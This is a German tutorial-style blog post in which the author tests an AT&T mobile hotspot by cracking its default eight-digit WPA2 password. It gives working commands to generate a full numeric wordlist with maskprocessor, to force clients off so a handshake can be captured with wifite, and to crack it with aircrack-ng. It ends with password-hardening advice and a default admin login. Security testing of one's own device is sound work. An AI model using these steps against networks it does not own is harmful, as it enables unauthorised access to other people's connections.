Vor nicht zu langer Zeit hatte ich die Gelegenheit einen mobilen Hotspot von AT&T zu testen. Er ist mit einer SIM-Karte ausgestattet. Der Nutzer ist somit in der Lage, die über WLAN mit dem Hotspot verbundenen Geräte an das schnelle mobile Internet (LTE) anzubinden.
Das Gerät wird standartmäßig mit einer WPA2-Verschlüsselung ausgeliefert. Das generierte Passwort bestand allerding nur aus acht Ziffern. Mir fiel auf, dass kaum ein Nutzer diese Standartwerte änderte und fast alle mit dem werkseitig generierten Passwort ins Internet gingen.
Für mich stellte sich nun die Frage, mit welcher Sicherheit die Nutzer nun unterwegs sind und wie lange ein Angreifer braucht, um dieses Passwort herauszubekommen.
WPA2 gilt als sicheres Verfahren für die Verschlüsselung, wenn ein ausreichend langes Passwort gewählt wird. Dieses kurze Passwort hält einem Passwort-Angriff sicher nicht stand und kann mit der Brute Force Methode relativ leicht ermittelt werden. Grund genug es mal zu testen. Als Betriebssystem verwende ich Kali Linux.
Wörterbuch erstellen
Das Wörterbuch erstelle ich mit Hilfe des Tools maskprocessor von der Hashcat-Webseite. Dabei handelt es um einen Word-Generator, der in hoher Geschwindigkeit Wortlisten erstellen kann. Ich brauche ein „Wörterbuch“, das alle möglichen Kombinationen für meine Zwecke enthält. In diesem Fall alle Einträge von 00000000 bis 99999999. Dazu lädt man die Datei maskprocessor-0.69.7.z herunter und speichert sie in das home Verzeichnis von Kali Linux. Anschließend wir die Datei entpackt. Dazu wird p7zip benötigt, das vorher installiert wird.
apt-get install p7zip
cd /home
p7zip -d maskprocessor-0.69.7z
cd maskprocessor-0.69/
Das Programm hat folgende Optionen:
./mp64.bin –help
mp by atom, High-Performance word generator with per-position configureable charset
Usage: ./mp64.bin [options]... mask
* Startup:
-V, --version Print version
-h, --help Print help
* Increment:
-i, --increment Enable increment mode
--increment-min=NUM Start incrementing at NUM
--increment-max=NUM Stop incrementing at NUM
* Misc:
--combinations Calculate number of combinations
--hex-charset Assume charset is given in hex
-q, --seq-max Maximum number of multiple sequential characters
* Resources:
-s, --start-at=WORD Start at specific position
-l, --stop-at=WORD Stop at specific position
* Files:
-o, --output-file=FILE Output-file
* Custom charsets:
-1, --custom-charset1=CS User-defineable charsets
-2, --custom-charset2=CS Example:
-3, --custom-charset3=CS --custom-charset1=?dabcdef
-4, --custom-charset4=CS sets charset ?1 to 0123456789abcdef
* Built-in charsets:
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !"#$%&'()*+,-./:;<=>?@[]^_`{|}~
?h = 8 bit characters from 0xc0 - 0xff
?D = 8 bit characters from german alphabet
?F = 8 bit characters from french alphabet
?R = 8 bit characters from russian alphabet
Das benötigte Wörterbuch (wordlist8.txt) kann somit mit folgendem Befehl erstellt werden:
./mp64.bin --custom-charset1=?d0123456789 ?1?1?1?1?1?1?1?1 > /home/wordlist8.txt
Handshake ermitteln
Nachdem wir nun im Besitz eines Wörterbuches mit allen möglichen Passwörtern sind, muss nun die Authentifizierung zwischen dem WLAN-Accesspoint und einem Nutzer mitgeschnitten werden. Wir gehen also davon aus, dass der Client mit dem Accesspoint verschlüsselte Daten austauscht, die wichtige Informationen (u.a das Passwort) enthalten. Eine solche Authentifizierung findet immer dann statt, wenn der Client eine Verbindung zum Accesspoint aufbaut. Man kann aber durch das geschickte Absenden eines manipulierten Paketes, einen bereits authentisierten Nutzer zwingen sich erneut zu verbinden und somit den Handshake mitlesen.
Zum Mitschneiden dieser Pakete bietet Kali Linux mehrere Möglichkeiten. Ich möchte hier das Programm wifite vorstellen:
.;' `;,
.;' ,;' `;, `;, WiFite v2 (r85)
.;' ,;' ,;' `;, `;, `;,
:: :: : ( ) : :: :: automated wireless auditor
':. ':. ':. /_ ,:' ,:' ,:'
':. ':. /___ ,:' ,:' designed for Linux
':. /_____ ,:'
/
COMMANDS
-check <file> check capfile <file> for handshakes.
-cracked display previously-cracked access points
GLOBAL
-all attack all targets. [off]
-i <iface> wireless interface for capturing [auto]
-mac anonymize mac address [off]
-c <channel> channel to scan for targets [auto]
-e <essid> target a specific access point by ssid (name) [ask]
-b <bssid> target a specific access point by bssid (mac) [auto]
-showb display target BSSIDs after scan [off]
-pow <db> attacks any targets with signal strenghth > db [0]
-quiet do not print list of APs during scan [off]
WPA
-wpa only target WPA networks (works with -wps -wep) [off]
-wpat <sec> time to wait for WPA attack to complete (seconds) [500]
-wpadt <sec> time to wait between sending deauth packets (sec) [10]
-strip strip handshake using tshark or pyrit [off]
-crack <dic> crack WPA handshakes using <dic> wordlist file [off]
-dict <file> specify dictionary to use when cracking WPA [phpbb.txt]
-aircrack verify handshake using aircrack [on]
-pyrit verify handshake using pyrit [off]
-tshark verify handshake using tshark [on]
-cowpatty verify handshake using cowpatty [off]
WEP
-wep only target WEP networks [off]
-pps <num> set the number of packets per second to inject [600]
-wept <sec> sec to wait for each attack, 0 implies endless [600]
-chopchop use chopchop attack [on]
-arpreplay use arpreplay attack [on]
-fragment use fragmentation attack [on]
-caffelatte use caffe-latte attack [on]
-p0841 use -p0841 attack [on]
-hirte use hirte (cfrag) attack [on]
-nofakeauth stop attack if fake authentication fails [off]
-wepca <n> start cracking when number of ivs surpass n [10000]
-wepsave save a copy of .cap files to this directory [off]
WPS
-wps only target WPS networks [off]
-wpst <sec> max wait for new retry before giving up (0: never) [660]
-wpsratio <per> min ratio of successful PIN attempts/total tries [0]
-wpsretry <num> max number of retries for same PIN before giving up [0]
EXAMPLE
./wifite.py -wps -wep -c 6 -pps 600
Mit dem folgenden Kommando werden nur Accesspoints als Ziel ausgemacht, die mit WPA-Verschlüsselung arbeiten.
wifite -wpa
Im anschließenden Video kann man sehen, dass nur noch die ESSID des zu prüfende Accesspoint ausgewählt werden muss. In diesem Fall „MIFI-LIBERATE-68KF“. Der Handshake wird in der Datei MIFILIBERATE-68KF_00-15-FF-31-A8-E8.cap im Verzeichnis hs abgelegt. Somit enthält auch der Dateiname wichtige Informationen (ESSID und MAC-Adresse des Accesspoints), die wir später für das Entschlüsseln verwenden können.
Passwort entschlüsseln
Das entschlüsseln des Passwortes werden wir mit dem Tool aircrack-ng durchführen, das ebenfalls Bestandteil von Kali Linux ist.
Dazu benötigen wir außerdem das im ersten Schritt erstellte Wörterbuch und die eben ermittelten Daten.
root@kali:/home# aircrack-ng --help
Aircrack-ng 1.2 beta2 - (C) 2006-2013 Thomas d'Otreppe
http://www.aircrack-ng.org
usage: aircrack-ng [options] <.cap / .ivs file(s)>
Common options:
-a <amode> : force attack mode (1/WEP, 2/WPA-PSK)
-e <essid> : target selection: network identifier
-b <bssid> : target selection: access point's MAC
-p <nbcpu> : # of CPU to use (default: all CPUs)
-q : enable quiet mode (no status output)
-C <macs> : merge the given APs to a virtual one
-l <file> : write key to file
Static WEP cracking options:
-c : search alpha-numeric characters only
-t : search binary coded decimal chr only
-h : search the numeric key for Fritz!BOX
-d <mask> : use masking of the key (A1:XX:CF:YY)
-m <maddr> : MAC address to filter usable packets
-n <nbits> : WEP key length : 64/128/152/256/512
-i <index> : WEP key index (1 to 4), default: any
-f <fudge> : bruteforce fudge factor, default: 2
-k <korek> : disable one attack method (1 to 17)
-x or -x0 : disable bruteforce for last keybytes
-x1 : last keybyte bruteforcing (default)
-x2 : enable last 2 keybytes bruteforcing
-y : experimental single bruteforce mode
-K : use only old KoreK attacks (pre-PTW)
-s : show the key in ASCII while cracking
-M <num> : specify maximum number of IVs to use
-D : WEP decloak, skips broken keystreams
-P <num> : PTW debug: 1: disable Klein, 2: PTW
-1 : run only 1 try to crack key with PTW
WEP and WPA-PSK cracking options:
-w <words> : path to wordlist(s) filename(s)
WPA-PSK options:
-E <file> : create EWSA Project file v3
-J <file> : create Hashcat Capture file
-S : WPA cracking speed test
Other options:
-u : Displays # of CPUs & MMX/SSE support
--help : Displays this usage screen
Der Befehl zu ermitteln des Passortes könnte wie folgt aussehen. Dabei legt die Option –w die genutzte Wortliste und die Option –b die MAC-Adresse des zu prüfenden Accesspoints fest.
aircrack-ng –w wordlist8.txt –b 00-15-FF-31-A8-E8 MIFILIBERATE-68KF_00-15-FF-31-A8-E8.cap
Je nach vorhandener Hardware kann es ein wenig dauern bis das Passwort ermittelt ist. Wer weniger Geduld hat sollte sich hier geeignete Hardware (insbesondere Grafikkarten) anschaffen. Weitere Informationen kann man u.a. auf folgender Webseite erhalten:
http://hashcat.net/wiki/doku.php?id=oclhashcat
Fazit
Das Passwort wurde in einer virtuellen Umgebung ermittelt. Es wurden keine auffällig großen Hardwareressourcen eingesetzt. Mit etwas mehr technischem Aufwand, hätte das Passwort in wenigen Minuten ermittelt werden können. Daher ist dringend zu empfehlen, ein ausreichend langes Passwort (mind. 20 Zeichen) zu wählen. Dabei sollten Groß- und Kleinbuchstaben sowie Sonderzeichen und Zahlen verwendet werden. Sinnvolle Wörter oder Kombinationen sollten weitestgehend vermieden werden.
Auf Grund des Ergebnisses habe ich gleich einige Veränderungen vorgenommen. Dies kann man als angemeldeter Nutzer im Browser über folgende URL erreichen:
http://att.mifiliberate/hotspot
Als Admin-Login verwendet man attadmin. Nun empfehle ich das Wi-Fi Passwort aber auch den WiFi Netzwerk Namen zu ändern. Natürlich muss man sich nach erfolgreicher Änderung der Daten erneut am Hotspot anmelden.
Hinweis: Der WiFi Netzwerk Name wird erst nach Neustart des Hotspots geändert.